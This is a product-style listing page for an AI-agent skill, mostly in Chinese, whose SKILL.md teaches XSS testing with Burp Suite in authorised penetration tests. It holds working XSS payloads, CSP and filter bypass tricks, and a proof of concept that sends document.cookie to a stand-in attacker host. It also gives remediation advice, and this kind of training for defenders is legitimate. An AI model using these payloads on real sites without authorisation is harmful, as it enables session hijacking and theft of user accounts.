testing-for-xss-vulnerabilities-with-burpsuite

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

9 stars

Best use case

testing-for-xss-vulnerabilities-with-burpsuite is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

Teams using testing-for-xss-vulnerabilities-with-burpsuite should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-for-xss-vulnerabilities-with-burpsuite Compares

Feature / Agenttesting-for-xss-vulnerabilities-with-burpsuiteStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 使用 Burp Suite 测试 XSS 漏洞

## 前置条件

- **授权**:目标应用程序的书面测试范围和交战规则
- **Burp Suite Professional**:具有主动扫描能力的授权版本
- **浏览器**:已安装 Burp CA 证书的 Firefox 或 Chromium,配置代理到 127.0.0.1:8080
- **目标应用程序**:具有有效测试凭据的已认证访问

## 工作流程

### 步骤 1:配置 Burp Suite 并映射应用程序

设置代理并爬取应用程序,发现所有输入向量。

```
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: 添加目标域名(例如 *.target.example.com)
3. Dashboard > New Scan > Crawl only > 选择目标 URL
4. 启用 Passive scanning
5. 安装 Burp CA 并手动浏览应用程序以构建站点地图
```

> **验证**: 确认 Target > Site map 中显示了目标域的完整路径树。

### 步骤 2:使用 Burp Repeater 识别反射点

将请求发送到 Repeater 并注入唯一的金丝雀字符串,找出用户输入被反射的位置。

```
# 注入金丝雀字符串:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# 在响应中搜索 "xsscanary12345",记录反射上下文:
# HTML body / 属性 / JavaScript 字符串 / URL

# 测试特殊字符编码处理:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# 检查哪些字符被未编码地反射
```

> **验证**: 至少识别出一个反射点及其上下文类型,方可继续下一步。

### 步骤 3:使用上下文特定的 Payload 测试反射型 XSS

根据反射上下文,构造有针对性的 XSS Payload。

```
# HTML Body 上下文:
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1

# 属性上下文 - 逃脱属性:
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1

# JavaScript 字符串上下文:
GET /search?q=';alert(document.domain)// HTTP/1.1

# 事件处理器上下文:
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1

# 如果尖括号被过滤,尝试 URL 编码:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
```

> **验证**: 确认 Payload 在浏览器中触发执行,或在响应中未经编码地反射。

### 步骤 4:使用 Burp Intruder 测试存储型 XSS

使用 Burp Intruder 对评论、个人资料和消息等输入字段测试存储型 XSS。

```
# Burp Intruder 配置:
# 1. 右键点击请求 > Send to Intruder
# 2. Positions 选项卡: 标记可注入参数
# 3. Payloads 选项卡: 加载 XSS Payload 列表

# 核心 Payload(覆盖主要标签和事件类型):
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
"><img src=x onerror=alert(1)>

# Grep - Match 添加匹配模式: "alert(1)"、"onerror="
```

### 步骤 5:测试 DOM 型 XSS

使用 Burp 的 DOM Invader 识别不安全处理用户输入的客户端 JavaScript。

```
# 在 Burp 内置浏览器中启用 DOM Invader:
# 1. 打开 Burp 内置的 Chromium 浏览器
# 2. 点击 DOM Invader 扩展图标 > 启用
# 3. 设置金丝雀值(例如 "domxss")

# 关键 Sink: document.write(), innerHTML, eval(), location.href
# 关键 Source: location.hash, location.search, postMessage

# 测试 URL fragment 注入:
https://target.example.com/page#<img src=x onerror=alert(1)>
```

### 步骤 6:绕过 XSS 过滤器和 CSP

当基本 Payload 被拦截时,使用高级技术绕过防护措施。

```
# CSP 分析 - 检查响应头:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

# 常见 CSP 绕过:
# 如果允许 'unsafe-inline':
<script>alert(document.domain)</script>

# 如果某个 CDN 被加入白名单(例如 cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# 过滤器绕过技术:
# 大小写变化: <ScRiPt>alert(1)</ScRiPt>
# 空字节: <scr%00ipt>alert(1)</script>
# 双重编码: %253Cscript%253Ealert(1)%253C/script%253E
# HTML 实体: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
# Unicode 转义: <script>\u0061lert(1)</script>

# 在 Burp Suite > BApp Store 中安装 "Hackvertor"
# 使用 Hackvertor 标签对 Payload 进行编码:
# <@hex_entities>alert(document.domain)<@/hex_entities>
```

### 步骤 7:验证影响并记录发现

确认可利用性并记录完整的攻击链。

```
# 概念验证 — Cookie 窃取(演示会话劫持影响):
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# 根据需要替换为键盘记录器或截图 PoC 以演示更高影响

# 记录清单: URL/参数、Payload、执行截图、影响评估、复现步骤
```

> **验证**: PoC 在受控环境中成功执行。

## 补充工具

- **XSS Hunter**: 盲 XSS 检测平台,捕获带外执行证据
- **Dalfox**: CLI XSS 扫描工具,支持参数分析(`go install github.com/hahwul/dalfox/v2@latest`)
- **CSP Evaluator**: Google 提供的 CSP 有效性分析工具

## 输出格式

```
## XSS 漏洞发现

**漏洞类型**: 存储型跨站脚本(XSS)
**严重级别**: 高危(CVSS 8.1)
**位置**: POST /api/comments → `body` 参数
**类型**: 存储型 XSS
**OWASP 类别**: A03:2021 - 注入

### 复现步骤
1. 访问 https://target.example.com/blog/post/123
2. 提交评论,正文为: <img src=x onerror=alert(document.domain)>
3. 重新加载页面;Payload 在浏览器中执行

### 影响
- 通过 Cookie 窃取对所有查看该页面用户进行会话劫持
- 通过会话令牌外泄实现账户接管
- 博客文章页面被篡改
- 通过注入的登录表单进行钓鱼攻击

### CSP 状态
- 不存在 Content-Security-Policy 头
- 未设置 X-XSS-Protection 头

### 修复建议
1. 实施上下文感知的输出编码(HTML 上下文使用 HTML 实体编码)
2. 部署带严格 nonce 脚本白名单的内容安全策略
3. 对用户生成的 HTML 内容使用 DOMPurify 库进行清洗
4. 在会话 Cookie 上设置 HttpOnly 和 Secure 标志
5. 添加 X-Content-Type-Options: nosniff 响应头
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。